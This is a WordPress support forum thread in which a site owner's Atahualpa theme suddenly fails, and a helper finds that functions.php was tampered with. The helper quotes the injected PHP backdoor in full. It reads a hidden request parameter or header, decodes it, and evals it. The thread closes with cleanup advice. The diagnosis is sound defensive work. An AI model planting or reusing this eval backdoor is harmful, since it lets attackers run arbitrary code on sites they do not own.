Wordpress Themes - WP Forum at BFA - Atahualpa crashed my site.....or was I hacked?

Wordpress Themes - WP Forum at BFA (http://forum.bytesforall.com/index.php)

- Atahualpa 3 Wordpress theme (http://forum.bytesforall.com/forumdisplay.php?f=2)

- - Atahualpa crashed my site.....or was I hacked? (http://forum.bytesforall.com/showthread.php?t=22939)

InsaneO

Nov 30, 2014 10:27 PM

Atahualpa crashed my site.....or was I hacked?

Suddenly after working for many years I got 500 Internal Server Error
Log shows this:
20141130T205829: powersandpowers.com/index.php
PHP Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /hermes/bosoraweb117/b2195/ipg.eugenep/wp-content/themes/atahualpa/functions.php on line 125
Can't even login to my site with Atahualpa enabled.
Had to switch to another theme temporally.

Please help.

juggledad

Dec 1, 2014 02:13 AM

What versions of WP and Atahualpa?
What were you doing?
What recently changed? Any updates? New login? A new post?

this could be an issue where you exceeded the memory limit - try disabling all plugins and see if it works.

in the latest version of Atahualpa, line 125 of function.php is a comment....

InsaneO

Dec 1, 2014 11:51 AM

~What versions of WP and Atahualpa?~
WP 4.01 Don't know what version of Atahualpa but it should be the latest since it does not ask for the update.
~What were you doing? What recently changed? Any updates? New login? A new post?~
Absolutely nothing.
My wife has our site as browser home screen. We have not updated it for many weeks.
Suddenly it crashed. Tech support enabled another theme and site is back on.
This theme was working for many years!!!!

Thank you.

juggledad

Dec 1, 2014 04:01 PM

something had have changed - it could even have been something on your host (like maintenance they did).
Try disabling all plugins and see if that allows Atahualpa to run.

Things just don't stop working when they have been working, something had to have changed.

InsaneO

Dec 1, 2014 06:04 PM

I deactivated all plugins and as soon as I activated Atahualpa my site crashed with 500 Internal server error.

juggledad

Dec 2, 2014 03:42 AM

I'd like to take a look at your atahualpa function.php - you can either send me a PM with an admin ID/PW or copy the file and attach it to a reply. If you send me a admin ID I promise NOT to activate the theme

InsaneO

Dec 2, 2014 05:39 AM

1 Attachment(s)

Even if I give you my login you would not be able to login.
Here is the file you requested. I had to zip it to upload.

Thank you.

juggledad

Dec 2, 2014 07:13 AM

I can go to the site with no problems right now.

Did you modify the function.php file? because it has code in it that is not part of the theme.

juggledad

Dec 2, 2014 11:03 AM

Interesting, someone over at wordpress.org said there site crashed and the same lines of code

HTML Code:

<?php 

$izland=array_merge($_REQUEST,$_COOKIE,$_SERVER);

$azland=isset($izland["landingzz"])?$izland["landingzz"]:(isset($izland["HTTP_LANDINGZZ"])?$izland["HTTP_LANDINGZZ"]:"");

if ($azland!=""){eval(strrev(base64_decode(strrev($azland))));}

?>

are in their themes function.php.

I'm begining to suspect you have been hacked...

InsaneO

Dec 2, 2014 01:51 PM

I have another site that runs on Atahualpa and it also has the same problem. Tech support was able to restore function.php from backup and it is running again.

juggledad

Dec 2, 2014 04:21 PM

My guess is that you have been hacked and if you don't close the hole that the hacker used to get in, you will be hacked again. Just updating that one file will not do it, you need to change
1) all your FTP passwords
2) your cPanel passwords
3) all WordPress Admin passwords
4) your computer password
5) you need to load a fresh copy of wordpress, every plugin and every theme in your site
6) you need to run a virus scan of every computer that has admin access to the site

you should talk to your host and see if they can help you fine the entryway the hacker used because it could even be a cross server attack.

You might want to go to your sie backups to see if you can find out when you were first hacked.

Good Luck.

All times are GMT -6. The time now is 02:19 PM.